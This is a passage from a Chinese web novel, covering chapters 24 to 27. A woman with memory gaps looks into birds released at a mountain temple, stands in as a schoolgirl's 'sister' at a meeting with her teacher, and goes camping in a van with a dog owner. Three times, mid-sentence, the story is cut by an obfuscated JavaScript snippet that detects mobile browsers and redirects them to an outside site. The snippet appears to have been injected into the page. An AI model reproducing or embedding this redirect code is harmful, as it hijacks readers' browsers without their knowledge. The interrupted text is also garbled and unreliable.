他提到网上流传的表情包:炯炯有神的黑鸟被捏在人类手里,配文“我会回来报恩的”。 “长得像鸦科,其实是鸫科鸫属,成鸟的鸟喙偏黄色,鸣声悦耳,能模仿其他鸟类,但是……” 宁蓁朝林中张望,确信它们没跟过来。 “特别记仇。” 身为养犬人,温霖听说过那个“柴犬惹了乌鸫后出门遛狗必备雨衣雨伞”的著名故事。 “幸好沐沐没有扑鸟的习惯。”他感慨道。 当初在玉兰树边遇见边境牧羊犬,她还想赶走鸟群来着。如今回想起来,那个夜晚也像一场模糊的梦。 “对了,我不是故意要说抛尸……” 他转向宁蓁,似乎十分在意刚才的话。或许她听过之后沉默了太久,而温霖不希望重蹈覆辙。 宁蓁表示没关系,他没有说错什么。 先前她怔住了,只是因为觉得这类词汇很熟悉。 ——譬如,“尸体”这两个字。 她不敢再深究下去。 温霖澄澈的目光将她拉向现实。 “福缘寺之前有没有举办过放生活动?” 他怀疑红耳鹎经由放生仪式来到鹭山。通常,参与者需要事先购买被捕捉的动物,在寺中诵读经文为其祈祷,放归自然。 宁蓁沉吟:“但人们不了解那些鸟类的习性……” 话音越来越弱。 一种想法隐藏在推理背后,让她的手莫名颤抖。 * 九月,秋高气爽。 下午第三节课后,学生们拥有一个长达四十分钟的宽松课间。几乎没人想闷在教室写作业,毕竟校园里总能找到消遣的好去处。 宁蓁久违地去了操场。那里紧邻校园大门和东西向街道,镂空的栅栏外,车辆飞驰而过。 “怎么来这里啊,也太远了吧。” 梳着齐刘海、及肩发的女高中生轻轻抱怨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071751|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 宁蓁耐心回答,因为银杏黄了,通往湖边的路变得拥挤,校内商店一直人满为患,下沉篮球场那边又找不到安静的空间,只有操场最清净。 “好好好,我知道啦,那可以让我看看了吧!” 她们悄悄躲到一棵杨树旁。 树影渗向栅栏的缝隙,黏糊糊的,像从外面爬进来。 女高中生望了过去,但一阵鸟鸣掠过,松散的警觉只持续了短短五秒。 “天呐,这不是和鸟叫声一模一样嘛!真的是用这个哨子吹出来的?” 几只小麻雀乖乖飞到她们腿边。宁蓁嘴角上扬,对她笑,也对抖落翅膀的小鸟笑。 “在哪里买的,”女高中生指指她手心的竹哨,“带我去带我去!” 她却合了掌,把鸟哨握紧。 是秘密,她说。 “哎,等等嘛——!” 两人跑了起来。女孩的高马尾轻盈摇晃,落日余晖斜斜地洒,伸手就能拥入怀中。远处回荡着属于校园的喧嚣,不乏冒失,却清脆明亮。 她们追向银杏路,金灿灿的黄叶随风摇曳。 “那究竟是什么啊,古乐器?一技之长?”女高中生问。 差不多,宁蓁竖起食指,嘱咐她不要告诉别人。 “好吧,一言为定!” …… * 回寺途中,她目光悬在温霖的运动绷带上,直到临近山门。 迈过最后一级台阶,她看见短发女孩和朋友俯下身同沐沐玩耍。你是什么性别的小狗?左边女孩,右边男孩。小唯两只手依次摊开,沐沐观察了一会儿,抬起毛茸茸的左爪放到她手里。 她们一起笑了。宁蓁站在原地,心思游离。 没有必要在网站上传红耳鹎和凤头鹀的观测记录。它们被人类运过来,又被人类购买,自以为是地拯救,解开笼子。北城十二月的气温低到零下十度,那群小鸟习惯了湿润温暖,根本活不过这个冬天。 “我问了住持,上个月确实有个提着鸟笼的女人参加了仪式。” 温霖不知道什么时候离开的,这会儿已经回来了。 “这种情况该联络林业局还是直接报警?” 擅自捕捉野生动物是违法行为,严重的要追究刑事责任。宁蓁深知这一点。 “没用的。”她说。 云飘走了,天空转晴,一切摊开在阳光底下。 “我们怎么证明照片的拍摄地就在附近。” 相机不联网,无法更新空间信息。侦探如何为线索的真实性负责?在推理小说中,类似的讨论被归纳为一个专门概念。 “有点像,”他话语之间留有迟疑的空白,“后期奎因问题。” “嗯。” 所以,没用的。 我早就试过了。 宁蓁垂下眼帘,依旧淡漠。 温霖看着她的侧脸,再一次感觉自己被那种坚固冰冷的气质拒之千里。 嗞—— 嗞—— 手机开始振动。她拿出来,滑开锁屏。 是姨妈吧,或者莫昭,无论谁她都不想回应。但这次,通知栏上赫然写着那个骄傲的女高中生的名字。 她对她低下了头。 「宁蓁姐姐」 「你能帮帮我吗」 25. 记忆的弹性(上) “什么时候回去。” 她放下手机。 线香在炉鼎里燃烧,升起缕缕白烟。 “可不可以让我搭个顺风车……” 那一刻温霖确信他是盏灯,忽明忽暗的,刚刚灭了,又轻易亮起来。 * 宁蓁分不清到底认识多久才能称为“朋友”。 反正,她后悔了。他们应该还没熟悉到乘对方的车回家,远远不够。幸好小狗不计较这些,它动动鼻子就能判断友好的东西在哪儿,然后毛茸茸的身子蹭过来,原谅她得寸进尺的请求。 “沐沐坐后面没问题吗。” 温霖目视前方启动车子。他担心沐沐添麻烦,但她会错了意。 “嗯,我来看好它。” 沐沐穿上了宠物行车套装,胸背与座位固定,防止跳窗或影响驾驶。但它显然不想安静,嘴巴拱着前座后背的收纳袋,似乎要与客人分享车内的宝物。 “掉下来了。” 她小声说,拾起小狗从袋子里翻出的东西。黑色,沉甸甸的,轮廓像一把手枪。 “给我吧,不然它总想着拿。” 沐沐主人转过方向盘,朝后面伸手。 宁蓁递去工具,食指自然扣在扳机上,指腹碰到他冰凉的掌心。“是什么?” “破窗器。” “私家车也需要破窗器。”她看着驾驶位的靠背。 “只是想万一哪天用得到,当然最好没有那一天。” 他们平稳地驶出鹭山。温霖播放了音乐,一首发行于上世纪末的经典抒情曲。 《Firstlove》。 低沉鼓点温柔包裹着耳朵。窗外,高速公路飞速掠过,歌却缓缓地流。车里没有皮革气味,也没有浓郁的香水。沐沐温热的呼吸时而起伏,她搂着它,眼皮越来越沉。 …… “师姐!” 黑暗中,耳边传来呼唤。 宁蓁猛地惊醒,周围十余人已然瘫倒,被破裂的黑影死死压制在地。 她终于回到梦里。 师弟离得很远,背对她,右手持刀,浑身披着流影,如鲜血般淌到刀尖,一滴滴滑落。 这才是他的真身吗? 视线暗了,湖水浑浊泛黄,飞瀑凝结,清朗的山正在闪烁。 “怪物!夕明谷里果然都是怪物!” 粗鲁的怒吼声。她心中一紧,倏然转身以掌接下那拳。浓重的阴云铺天盖地,狂风过境,似乎要将所有事物连根拔起。 掌法足以应付拳头。长发直往脸上撞,拆招时天上却落下羽毛。 一群长尾的灰白小鸟努力扑着翅膀。 宁蓁分了神。 另一名袭击者突然挣脱地面的束缚,抽出匕首对她腰间刺去—— 千钧一发之际,她听见风的呜咽。 是影子。 尖刺没入身体之前,一团影子吞噬了他们。 它虚浮在半空,黑雾蒙蒙的边缘伸出一条干净手臂,修长指节微微蜷着,颤抖着,掌纹像树的脉络。 “我们……” “离开吧。” 在晦暗如夜的白日,师弟丧失了人形。 她想牵住那只手,影子却渐渐飘远。 等等,别走! 我还没…… …… 外面变成市区的街景。音乐还在继续,但换了曲子,歌词仿佛有所预示。 “越了解就越迷离的真相。” “即使明白这份爱不被允许。”【注1】 到底什么是真相…… 梦中,明明只有一步之隔。 她恍惚睁开眼,想起师弟的掌纹,心脏隐隐作痛。或许嗅到情绪的气味,沐沐扭过头,小步走过来往她怀里钻。 “快到了,我记得附近有家好吃的栗子店。” 忽然,温霖和她说话,嗓音既轻又沉。那个瞬间,宁蓁感觉自己握住了什么。 她揉了揉沐沐的脑袋,双臂用力抱紧。 “……谢谢。” * 清明假期结束,第二天,她再次走进高中校园。礼堂那栋古旧的楼挂满藤叶,每逢风动就漾起波纹,和当年一模一样。 本以为再也进不来了。 她们仍然约在上午见面。趁着课间操,宁蓁躲到湖边小桥,远处枫杨参天,学生们排队穿越林荫道,跑向操场。 阳光漏过树叶的缝隙,深蓝色校服此起彼伏。她曾经也身在其中。 没过几分钟,一个女孩从队伍中脱离,朝她一路小跑。 “宁蓁姐姐……” 方善善变了造型,梳着低马尾,发圈是朴素的黑皮筋。 她提起嘴角,习惯性回以礼貌的笑。 “我还剩下四十分钟了解你。” “唔,就是,”女高中生耸着肩,支支吾吾,“我们边走边说吧。” 她们走上一条狭窄的小道,左手边红墙斑驳,右侧,垂柳沿岸生长,如烟似雾。 方善善忘了带路。放假前她被老师呵斥“叫家长来谈谈”,那时她吓坏了,一心想着不能被爸妈知道,慌慌张张拖了几天,最后只好找人冒充。 看起来不像好孩子的作风,但宁蓁没有拒绝。 “我十六岁,生日八月二十二,巨蟹座,”方善善低下头,盯着自己的脚尖,“家住樱华路,没有亲生的兄弟姐妹……” 她默默记住了,问还有什么。 “还有……血型?我是O型血,身高165,喜欢钢琴和跳舞,上学期心理课测了MBTI,结果是ENFP……” 女孩话里带着哭腔,那双圆亮的眼噙满了委屈,却倔强地不让眼泪掉下来。 “还有,我已经考过钢琴九级了。我是班长,成绩也很好,不是年级第一就是第二,但是,但是……” 她依旧兜着圈子,不肯说出被叫家长的原因。 所有东西,包括这里的景色,都让她引以为傲。此刻她仍那么觉得,但某个人亲手拆掉了她以骄傲灌注的高墙。 收到消息时,宁蓁已经隐隐约约猜到端倪。 两人的脚步声前后错落,柳树枝上,几只白头鹎在唱歌。 “去坐一会儿吧。”她说。 方善善心不在焉答应了。长椅正对中心小岛,湖水幽深,没有一丝涟漪。 她们沉默着,直到宁蓁拿出竹哨。 真的有必要用这种方式开启对话吗。 她也怀疑过。可今天她扮演的角色不是侦探,而是善善的姐姐。 哨音婉转,白头鹎纷纷落地。 “好、好厉害……”方善善把固执咽了回去,被活泼的小鸟吸引。 宁蓁收起哨子,慢慢梳理着气息。 “之前的非遗报告,是为了让老师注意到你才做的吧。” 她声音沉静,目光落在水里。 善善双手撑在身体两边,手指紧扣住长椅的边缘。 “不是!” “不是么?” “不……” “但你喜欢王老师,对吧。” 那句话碰到埋进深海的锚,女孩的泪水霎时决堤。 “没有,我已经……我现在……” 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071752|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在,已经不喜欢他了。 十六岁的她说不出口,只能一遍遍抹掉眼泪,哭得脸颊通红。 宁蓁没有看过去,装作一座冷漠的雕像,倾听人类的哭声。 回避注视就不会让对方难堪。她一直等,等到方善善用掉半包纸巾,肩膀停止颤抖。 “他怎么会知道。” “因为,”女孩断断续续抽泣着,“我们上课传纸条。” 写在小纸条上的秘密被老师当场打开,你看着他的眼神闪过一瞬困惑,接着变得严厉,前所未有,当着全班人的面说,下周上课喊你家长来一趟。 发生什么了? 怎么回事? 那个好学生要被叫家长? 同学们窃窃私语。一些视线射向你,另一些好奇地流向你的朋友,她脸色苍白,抿着嘴紧张摇头。 你困在座位上,周遭轰隆隆的坠落,天崩地裂。 年龄差意味着权力的倾斜,可高中生太年轻,还不懂。 “为什么不选同学呢。” “那些男生,要么打篮球回来臭烘烘的,要么课间大讲黄色笑话。”方善善红着眼睛都要表示嫌弃。 或许难以反驳。 十年前,班里的女生也对稳重得体的英语老师心怀向往,只不过没有人像她这么认真。 “其实……我好羡慕你,姐姐。” 宁蓁感到一丝讶异。 善善吸了吸鼻子,继续说:“你那么漂亮,还会吸引小鸟,像公主一样。” 风掀起波澜。 白头鹎依然待在长椅旁,叫声嘹亮。 她浑身僵滞,嘴唇张了张,仿佛生了锈迹。 “可是鸟哨,原本是用来捕鸟的。” “啊……” 那次报告采访中她有所隐瞒,方善善聪明却意外纯真,从来没意识到这种用途的可能性。 对,鸟哨是用来捕鸟的。缺少录音手段的年代,人们用哨子模拟鸟叫声,再将它们一网打尽,拿去食用或交易。 所谓同类的声音,根本就是一场陷阱。 湖水辽阔,深不见底。宁蓁浸在水里,长发黏着皮肤,全身湿透。 附近应该养着几只鹅,鹅毛的羽轴十分坚硬,如今它们也消失了。地上一滩血迹,阳光似的闪闪发亮。 然后……呢? 急促的呼吸压入耳朵,脑海中一片黑色闪过。 “你也很漂亮,你的眼睛像鸮。” 话题诡异地倒退到五分钟之前。 “噗,‘鸮’是猫头鹰吧!”善善破涕为笑,“你竟然这样子夸人啊……果然,美女的性格都有点古怪。” 女高中生以为对方只是怔了一下,随即转过来称赞她。 风声,叶子簌簌声,熟悉的湖和小道尽头的竹林。宁蓁微微蹙眉,想起这里是学校。 “别安慰我啦,”方善善语调轻快些,“我有自知之明的。那天看见你们站在一起,觉得好般配。” “那天……?” “就是,”她撅了噘嘴,小心地说,“后来没做成非遗报告那天。” “明明发微信说让人少管。” “诶,你看见啦……因为当时我嫉妒你啊,所以,对不起嘛!” 方善善捉住宁蓁的手臂不肯放开。 “你不会再喜欢老师了,对吧。” “嗯,我发誓!” 她哭过,又笑了,情绪像暴风雨一样忽来忽去。 宁蓁不知道十六岁的年纪能不能学会释然。过一会儿,二人起身离开,她缓慢回头,感觉自己的一部分留在了长椅上。 26. 记忆的弹性(下) 穿越竹林和小池塘,初三的学生又在绕着校史馆跑步。他们的校服与高二年级几乎无差,除了镶在上臂的星月标志。 “还有三圈,不准掉队啊,跟上跟上!” 人高马大的体育老师杵在路边高喊。大家气喘吁吁,步伐稀碎,目光胡乱飘着。 “好辛苦啊……” 这次,方善善没有去拍手加油。 上回她心高气傲说了什么,具体的字眼已经模糊。但是,人们的确不能忽视星星与月亮之间那道难以跨越的鸿沟。北城二中的高中名声在外,风气散漫自由,义务教育范畴内的初中部却遍布严肃紧张的低气压,容不得半点闪失。 孩子们还在跑,高中学生已经下操了,手中拿着零食陆陆续续往教学楼踱步。 “唉,”善善深深叹了口气,捏住宁蓁的手心,“去找老师吧,我们走。” 两人逆着人流,被迫引来陌生的探视。回到高二教学楼,水房门口,又撞见那个圆寸男生跑来闲聊。 “善善,又带你的报告人……” 还没说完,就见方善善瞪了一眼。 “什么呀!你记错啦,这是我的姐姐。” 宁蓁待在一旁无言,下一秒被她推进了办公室。那女孩双手合十,眼睛还微微泛着红,口型在说:“拜托啦——” 咔哒。 门关上了。 屋内宽敞且明亮,年轻男老师坐在桌前,皱紧眉头批阅着一沓试卷,红笔唰唰划在纸面唰唰作响。 让人梦回青春的声音。 宁蓁叩了叩门,走近,对方不作反应,只一个劲在卷子上打钩画叉。 “王老师。”她出声提醒。 男教师笔下一顿,抬起头:“不好意思。” “您好,我是方善善的姐姐,听说最近要让家长找您聊聊。” “哦,对。” 王老师撂下红笔,把卷子对折,匆忙拉开办公桌抽屉,却没找出里面的东西。 “我记得您来过一次,在楼外面,呃……”他眉头锁得更紧,“那个,伤口。” 果然。 一个谎言要用另一个去圆。该怎么解释善善的姐姐曾经出现在学校里?难道王老师已经发现她的真实身份是非遗采访对象…… “谢谢你的创可贴。” 宁蓁内心发懵,却微微笑着。 她淡漠的外表遮住了真相,或者对方还沉浸在化学分子式里来不及思索,总之,她没解释,就这么蒙混过关。 王老师点点头,翻弄着抽屉,显得很忙。“待会儿郑老师要过来休息……这样,我们找个地方聊吧,您觉得哪里好。” ……让我选? 有点奇怪。但作为姐姐,经常听学生本人提起校内的各种设施也不算稀奇。 “那就,文学社的活动教室。” 宁蓁不确定那里藏着什么,却一直想再回去看看,说不定能想起高中的事,哪怕一块残缺的碎片。 所以她才会答应方善善扮演家长。 如果没有特定理由,没有老师批准的许可,门卫不会随意放陌生人进入校门。 男老师终于找出抽屉里的笔记本,抽出根碳素笔往衣服口袋里一插。 “好的。” * 宁蓁并非丢掉了所有学生时代的记忆。 至少现在,一位教师正襟危坐,双臂在桌面交叠,语重心长开始谈话的时候,她能主动唤醒一些沉睡的过去。 “方善善确实成绩非常亮眼,这点我们无法否认……” 年级主任先表扬再进入正题,和邮箱里的退稿信一样客气。 她以前没被叫过家长。小学时,姥姥负责开家长会,到初中后变成她自己。那些父亲和母亲逐一落座,看见留下的试卷,惊讶,惊喜,和旁边人聊几句,问你们家孩子考得怎样。 而她只有沉默,两只手蜷进课桌里,困在孤零零的小岛。 “关于学生早恋的问题,您也看到了,我们学校的环境……” 他拔开笔帽,一边交代,一边低着头在笔记本上龙飞凤舞。 还不到提问环节。宁蓁的视线漫无目的,游走于教室边角的书架和木箱。 …… “我们学校的环境多适合恋爱啊。” 耳边换作清脆的嗓音。 夏日,阳光如同鎏金。女高中生手上捏了一封情书在眼前晃晃:“我同桌给你的。” 信上画着颗粉红色爱心。她摇头,轻轻推回去,说不认识。 “那个我们班的大高个儿,长得有点像泷泽秀明。你随便看看,给他写两句回应,好不好?” 她有些为难。 “文学社的活动每半个月就要写一封长信,”女高中生劝着,“你趁这次顺便多写几句嘛。” 可在文学社抽签抽到的匿名笔友是女生。她辩解道。 对方忽地亮起审慎的眼神:“你怎么知道就是女生咧。” 因为字迹,不囿于作文纸方格的字,清秀且飘逸。 “证据不足!要检视信件内容才能判断……” …… 记忆定格在女高中生的质疑。 宁蓁心里泄了气。她连曾经的学号都忘了,更何况十年前的信件往来。那段时光像浸水的画,早就溶化腐朽,难以挽回。 王老师聊起品德与责任,对成年人而言属于心照不宣的常识。她任由注意力四处游荡。 黑板角落留有粉笔字:请捐书,自行拿放。 架子上摆着各种文学作品,第二排是推理小说。 《倒错的死角》 《向日葵不开的夏天》 《占星术杀人魔法》 《希腊棺材之谜》 没有新书,出版年份至少都在十年以前。 该不会其中一本是我带来的…… “善善平时在家情况怎么样,是不是存在父母哪一方经常缺位的问题,比如工作原因……” 老师突然开始提问。 宁蓁回过神,试探着:“嗯……他们很忙。” 她根本不了解,但根据结论推断——如果方善善父母有富裕时间,何必让几乎大一轮的表亲来面谈。 “所以我想多少有些影响,如果家庭成员位置空缺的话,可能学生想要通过别的方式弥补……” 他说得相当委婉,接着后半句:这方面尤其体现在年龄差上。 空气消沉。 她抿了下唇,眼睛跟着老师手里不断移动的碳素笔。 “希望您回去以后对孩子多加引导。”他把本子转过来,“这是今天的谈话记录,帮我签个名吧。” 满篇草书,右下角留出空隙。 宁蓁蹙眉,接过笔。这种书面记录不应该留下我的名字,但…… 如今请家长还多了签字环节吗? 要编个假的才行,可等到思绪运转起来,她已经下意识完成了签名。 老师收回笔记本,合上。先前他只顾着埋头写,此刻第一次抬眼,与她对视。 “你,不是方善善的姐姐吧。” 被发现了。 只凭姓名……? 宁蓁故作镇定,问:“为什么。” 想不到对方叹了口气,反而笑了。 “有没有可能严格来说你和我才是亲戚。” “亲戚,”她诧异地指向自己,“我们?” “之前在学校里碰见我就觉得眼熟,这回看到名字终于确定了。我们不是见过吗?小宇过十岁生日的时候。” “小宇”。 她想起有个男孩曾经乖乖坐在茶几旁,吃着大白兔奶糖看她补暑假作业。 那是姨妈的儿子,她的外甥。十岁那年,他幸运地拥有一场盛大的生日派对。 “我是小宇的堂哥,那年我要高考,你读高一。” 突如其来的转折。 “高中的事情,我印象都很模糊……”宁蓁怔怔地撩了下头发,“你为什么记得这么清楚?” “因为‘宁蓁’这个名字不算常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071753|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见吧,有的人把‘蓁’念成‘秦’。” “嗯……好像是。” “说到名字,我叫王深,深邃的深。”对方重新做了自我介绍,“小宇妈妈最近怎么样?” 那次生日派对后没过多久,李肃就离婚了。姨夫带着表弟去了国外定居,他们当初闹得沸沸扬扬,男方免收的抚养费竟成为两人最后的体面。 “她还好……”宁蓁默默回避,反问道,“小宇呢?” “也不错啊,听说在英国读商科。哎,你以前就在二中上学吧,怪不得知道文学活动室。” 卸下了年级主任的厚重外衣,他肉眼可见轻松不少。 广播传来欢快葱茏的小提琴协奏曲,《四季·春》第一乐章。下课铃没变,她才察觉已经过去了一节课时间。 “我得回去改卷子喽,下午要用。”王深看了看表。 没理由再在社团教室待下去。走出教学楼,手机恰好递来新消息。 L.:「如果去露营,准备什么食物好?」 「咖喱饭」 宁蓁想了三秒,收起手机。 十分钟课间太短,与校园的宽广不成正比。小道变清净了,路上人影屈指可数。 “你可别小看那女孩。” 应该为假扮方善善家长的事道歉。但现在她的角色已然发生转变,意外经由曾经的表亲关系与年级主任连接起来。 “嗯?” “那孩子太聪明,我感觉啊,她挺懂得让周围的人替自己办事。” 宁蓁不是想不到这一点。或许示弱只是一种手段,善善因为悔过大哭一场,却也期待着以泪水引起同情。 我被利用了么。 那些眼泪里有多少真心呢。 树影斑驳,上课铃在校内回荡。 “故意搬来救兵敷衍,学生在对你挑衅啊。” 年轻的教师冷不丁被她面无表情地开了个玩笑。 “我……”王深硬生生把脏话憋回去,“唉,算啦,今天来的不是真家长,我还松了一口气。” “是吗。” “处理不好要丢饭碗的……你不知道,刚转来二中我就得当年级主任,说要锻炼新人,每天除了备课教课还有一堆破事,搞得焦头烂额,结果班上顶尖的好学生还给我埋颗雷……” 宁蓁似乎理解了他在办公室里忙到旁若无人的状态。正考虑要说什么,忽然见两名蓝色校服的学生越走越近。 “你们!上课时间,怎么还在外面晃悠。”年级主任语调大变。 两个都是男生,不高不矮,衣服有星星标志。 “老师,我陪他去、去医务室来着。” “对对!” 他们表面笑嘻嘻的,一唱一和,手都缩在袖子里。 “别嬉皮笑脸,”王深盯紧他俩手上动作,“藏着什么东西,拿出来。” “老师您看错啦,没东西!”男学生狡辩道。 但宁蓁看见了。“烟盒。” “得去趟初中部啊。”他一副遏制住勃然大怒的威严模样。 “老师,别呀,我错了还不行吗……” 王深和她打过招呼,带着两个哀嚎的初中生走了。 好辛苦啊。 宁蓁感慨着。 他是教师,记得住有过一面之缘的人。校园景色一成不变,微风、银杏、枫杨,我能想起来的却仅有破碎的只言片语。 唯一的进展——以后不用再通过方善善进入学校。 离开时她走了侧门。阳光正盛,划过门卫室的玻璃,她追着光线朝里面瞥了一眼。大爷正在喝茶,桌上依旧堆着学生快递,淡粉色毛绒玩偶坐立在狭窄的拐角。 鼻子很长,耳朵很小。 她停在原地。 梦中的……大食蚁兽。 一模一样。 梦境与现实交错着缠住脚踝,脑海中涌入一股缥缈的虚幻感。 那时手机又响了,宁蓁机械地解开锁屏。 「来露营吧,明天」 27. 露梦之营 宁蓁突然觉得该醒了,因为大食蚁兽分明是梦里的东西。 她在做梦——从几点开始的?长椅上,还是进了文学社教室?来时的路不清晰了,过程断断续续,像一块漆黑幕布遮住视野。一切变得陌生:深灰砖楼,红窗棂,坡道,高耸入云的树,丁香。 眨眼间,周遭已经没有任何熟识的事物。手心在震,她又茫然地捧起手机。 月白的纯色头像。 这个人她认识,而且记得很清楚。 山间,春夜阴冷,他的衬衫被细雨打湿,睫毛上悬着水滴。他弄丢了狗,但走失的仿佛是他自己。然后她带路去寺里借了衣服,她听见钟声,注视着酥油灯映在窗上的火光,期望他第二天会回来还。 温霖…… 她默念。 “姑娘!要去哪儿,我给你指路!”门卫大爷热心地跑了出来。 意识重回现实。 “没关系了,谢谢。” * 新的一天,仍不见小区的孟老太太打理花坛。她给土壤洒了水才离开,福缘寺依旧清净,回到寮房,她特意问了小唯要不要一起露营。 “有没有肉吃!” 短发女孩两眼放光,吞了吞口水。 “应该吧?” 她也不确定,毕竟答应得过于草率,甚至没时间做些准备。 安唯沉吟一会儿:“嗯……怎么办呢,好想吃肉啊,可是今天的晚课终于讲到《心经》了。” 她陷入纠结。宁蓁顺势思索着需要的装备。灯,天幕,帐篷,睡袋。山里温差大,夜间容易失温,得忍受晨间的露水和潮湿的空气。 最终小唯下定决心:“算啦,你们去吧!” 她转身,惊讶于对方口中的“你们”。明明还没说是谁提出了计划。 “我们可以之后再约!”对方笑得开朗。 “好。” 宁蓁回以笑容,心里却一直惦念着即将面对的风险。露营不是过家家游戏,没准他们要生火,但必须避免火星飘向茂密的林叶。还有蚊虫,她讨厌烦人的嗡嗡声,可如果它们被露营灯吸引飞进帐篷…… 结束晚上的活儿,她走下山门。鹭山静悄悄披上夜幕,依稀可见天空中云的形状。 L.:「请上车」 宁蓁停在石阶中段,收起手机,视线自然扫过低处的公路。没有人,只停了辆房车,梦幻的粉蓝配色,藏进树叶柔润的波浪。 所以露营是在那里面? 她过去敲了敲门,将信将疑。 “汪!” 门内传来小狗的叫声,电动踏步缓缓弹出。 宁蓁拽住把手,拉开。车里弥漫着暖黄的光,陨石边牧守在门口仰着头,用热切的眼神表示欢迎。 “你也在呀,沐沐。” 她关了门,第一个动作是俯身摸摸小狗。 “先坐,还要再开一段路。” 温霖在驾驶室回头朝她挥了挥手。 车子在行驶,几乎感觉不到晃动。宁蓁坐入卡座,沐沐立刻攀向沙发边,趴在她腿上。毛茸茸一团抱进怀里,所有担忧都烟消云散了。房车装饰得温馨充实,墙上贴着日历和照片,细密窗纱透过夜风,却将夜晚的危险挡在外面。 啪嗒—— 平稳,但难免掉下小物件。沐沐反应很快,主动跳下去叼起掉出来的空相框,摇着尾巴递给她。 “好乖。”宁蓁揉了揉狗脑袋,把东西归回原位。 没多久,车停了。 “沙发我清理过。” 温霖开门进来,洗手,关掉电磁炉。 流水的响声。晚饭时间,空气里飘着香味,唤起食欲。 “桌布和餐具那些都是新的。”他拿出碗筷和勺子料理着。 桌上准备了消毒湿巾。他注意到她的习惯,包括近乎频繁的清洁。 宁蓁心中微妙地波动:“……谢谢。” “沐沐,去吃饭。” 小狗被主人的指令引到食盆旁边,然后他们的晚餐也端上来。玛格丽特披萨和咖喱饭,都是她之前随口提起的食物。 “你做的。”她问。 “嗯,”他流露出一丝不易察觉的紧张,“希望好吃。” 她盯着盘子看。 “披萨也是。” “在家做好,然后用车上的烤箱复烤。” “你真的只有二十三岁吗。” 宁蓁找话题拖延着时间。上次吃牛排的时候一股腥味堵在喉咙,弄得全身都在抗拒,以至于她对肉类产生恐惧,握住勺子不敢动手。 “当然,我们差了三个年级。” 那些事温霖无从知晓。见她不作反应,他转身蹲下,去探寻车上的冰箱。 “喝点什么,橙汁,青柠汁,菠萝气泡水,还有,这是……威士忌?” 似乎连他本人都感到意外。 但宁蓁莫名想到酒精也许有助于吞咽。 “可以尝尝威士忌吗。” “……如果你确定的话。”温霖拿起手机,仔细检查了瓶身。 她后知后觉:在私密的空间内提出喝酒会不会有失分寸。来不及得出答案,两只透明玻璃杯已经递上了桌。 “这个度数不低。”他叮嘱。 “好。” 宁蓁倒了一丁点威士忌,再用菠萝苏打水填满整杯。 只喝几毫升应该不会醉。 她浅呷一口,清新的酸甜夹在气泡里升腾,完全尝不到任何苦涩。旁边的咖喱饭热乎乎的,配菜放了牛肉、西蓝花和小番茄,相当诱人。 “太好吃了吧……” 顺滑柔和,带着让人微微发热的辛辣,迅速打开她的胃。 比预想中顺利太多。 “这个称赞我就收下了。” 温霖坐在对面,不掩饰脸上的笑意。 房车利用有限的空间排布出紧密的安全感。可忽然间,宁蓁觉得一起吃饭是件不太安全的事。譬如,她的视线一时无处可去,不知道该停在他深沉的黑发,还是落入那双澄澈的眼睛。 脸颊变烫了,没想到酒精这么快就融进血液。最后她选择埋头享用晚餐,就着不伦不类的气泡威士忌。 “我好像一只狼吞虎咽的猪……”她嗫嚅。 温霖歪了下头:“嗯?” 她稍稍抬眼。 “一句话里有三个动物。”他说。 “啊,真的。” 宁蓁偶尔语出惊人,甚至在吐槽自己的时候。可即便如此,她看起来依然淡漠,眉梢缀了点冷清的苦,目光像坚冰一样不可冒犯,不可动摇。 所以动摇的始终是他。 后来她又往杯子里倒酒,温霖用手背去挡,说别喝那么多。 宁蓁信誓旦旦:“我还很清醒呢。” “……好吧。”他想想,收了手,拿果汁与她碰杯。玻璃外壁水珠滑下,清脆的响。 她眨着眼问:“你不喝酒吗?” “不想碰容易成瘾的东西,”温霖真诚地回答,“而且医生也说不行。” 她缓缓点头,眉间蹙起,似乎陷入思考。 卡座终究局促,不仅杯盘,手腕和指尖也容易相撞。他没沾酒精,但耳朵泛红,反倒是喝了酒的宁蓁显得越来越清明。 沐沐窝在地上睡着了。饭后,他负责收拾桌面,把餐具放进洗碗机。 “窗边NS可以开,连着显示器的,看看想玩什么。”他低头在洗手台忙碌。 背后传来她平静的问句—— “特意准备的吗。” 温霖手中一顿。 嗓音继续—— “《双人厨房》,《胡闹成行》……很好玩,不过我都通关了。” 他装作风平浪静:“和谁?” 料理区恢复整洁。温霖亲口问的,却拧开水龙头,想让水声盖过她的答案—— “我自己。” 她悠悠地回应。 绷紧的弦骤然松懈。 “双人游戏一个人通关好难,你是高手啊。” “不算吧,我只是没有朋友。” 温霖诧异地转过身。 